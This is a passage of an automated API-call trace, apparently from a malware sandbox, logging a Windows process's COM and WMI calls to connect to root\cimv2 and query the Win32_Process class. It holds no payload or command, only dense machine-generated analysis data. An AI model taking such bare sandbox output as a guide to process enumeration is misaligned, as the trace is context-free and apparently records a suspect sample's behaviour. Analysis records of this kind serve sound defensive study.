puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.207] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0059.207] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0059.207] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0059.207] IUnknown:Release (This=0x111f638) returned 0x1 [0059.208] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x11f1460) returned 0x0 [0059.208] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1460, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0059.208] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f1460, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x11f1480) returned 0x0 [0059.208] WbemLocator:IUnknown:Release (This=0x11f1460) returned 0x0 [0059.208] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x11f1480) returned 0x0 [0059.208] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0059.209] WbemLocator:IUnknown:AddRef (This=0x11f1480) returned 0x3 [0059.209] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0059.209] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0059.209] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0059.209] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0059.209] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0059.209] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0059.209] WbemLocator:IUnknown:Release (This=0x11f1480) returned 0x2 [0059.209] WbemLocator:IUnknown:Release (This=0x11f1480) returned 0x1 [0059.209] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0059.209] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0059.209] WbemLocator:IUnknown:QueryInterface (in: This=0x11f1480, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x11f1480) returned 0x0 [0059.209] WbemLocator:IUnknown:AddRef (This=0x11f1480) returned 0x3 [0059.209] WbemLocator:IUnknown:Release (This=0x11f1480) returned 0x2 [0059.209] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0059.209] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0059.210] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.210] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x11f14a0) returned 0x0 [0059.211] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11f14a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bea6480) returned 0x0 [0059.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6480, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df2a0) returned 0x0 [0059.218] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df2a0, pProxy=0x1bea6480, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0059.218] WbemLocator:IUnknown:Release (This=0x11df2a0) returned 0x1 [0059.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6480, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df2e0) returned 0x0 [0059.218] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6480, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df2a0) returned 0x0 [0059.218] WbemLocator:IClientSecurity:SetBlanket (This=0x11df2a0, pProxy=0x1bea6480, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0059.218] WbemLocator:IUnknown:Release (This=0x11df2a0) returned 0x2 [0059.218] WbemLocator:IUnknown:Release (This=0x11df2e0) returned 0x1 [0059.218] CoTaskMemFree (pv=0x1beaa8f0) [0059.219] WbemLocator:IUnknown:AddRef (This=0x1bea6480) returned 0x2 [0059.219] WbemLocator:IUnknown:Release (This=0x11f14a0) returned 0x0 [0059.219] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0059.219] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0059.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6480, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df2b0) returned 0x0 [0059.219] WbemLocator:IRpcOptions:Query (in: This=0x11df2b0, pPrx=0x11f1500, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0059.219] WbemLocator:IUnknown:Release (This=0x11df2b0) returned 0x2 [0059.220] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0059.220] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0059.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1bea6480, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bea6480) returned 0x0 [0059.220] WbemLocator:IUnknown:Release (This=0x1bea6480) returned 0x2 [0059.220] SysStringLen (param_1=0x0) returned 0x0 [0059.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea02f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0059.220] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0059.220] WbemDefPath:IWbemPath:GetText (in: This=0x1bea02f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0059.220] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0059.220] WbemDefPath:IWbemPath:GetText (in: This=0x116aa00, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0059.220] IWbemServices:GetObject (in: This=0x1bea6480, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11f29a0, ppCallResult=0x0) returned 0x0 [0059.223] IWbemClassObject:Get (in: This=0x11f29a0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0059.223] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0059.224] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0059.224] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0059.224] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0059.224] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0059.224] IUnknown:Release (This=0x111f638) returned 0x1 [0059.226] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x11f14a0) returned 0x0 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f14a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0059.227] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f14a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea03b0) returned 0x0 [0059.227] WbemDefPath:IUnknown:Release (This=0x11f14a0) returned 0x0 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea03b0) returned 0x0 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0059.227] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0059.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11f14c0) returned 0x0 [0059.227] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f14c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.228] WbemDefPath:IUnknown:Release (This=0x11f14c0) returned 0x3 [0059.228] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0059.228] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0059.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0059.228] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0059.228] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0059.228] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0059.228] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0059.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea03b0) returned 0x0 [0059.228] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0059.228] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0059.228] WbemDefPath:IWbemPath:SetText (This=0x1bea03b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0059.228] IWbemClassObject:Get (in: This=0x11f29a0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.228] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0059.229] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0059.229] IWbemClassObject:Get (in: This=0x11f29a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.229] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0059.229] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0059.229] IWbemClassObject:Get (in: This=0x11f29a0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0059.229] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0059.229] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0059.230] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0059.230] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0059.230] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0059.230] IUnknown:Release (This=0x111f638) returned 0x1 [0059.232] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11f1660) returned 0x0 [0059.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f1660, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0059.232] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f1660, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0470) returned 0x0 [0059.232] WbemDefPath:IUnknown:Release (This=0x11f1660) returned 0x0 [0059.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0470) returned 0x0 [0059.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0059.233] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0059.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0059.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0059.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f16a0) returned 0x0 [0059.233] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f16a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0059.233] WbemDefPath:IUnknown:Release (This=0x11f16a0) returned 0x3 [0059.233] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0059.233] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0059.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0059.233] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0059.233] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0059.233] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0059.233] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0059.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, 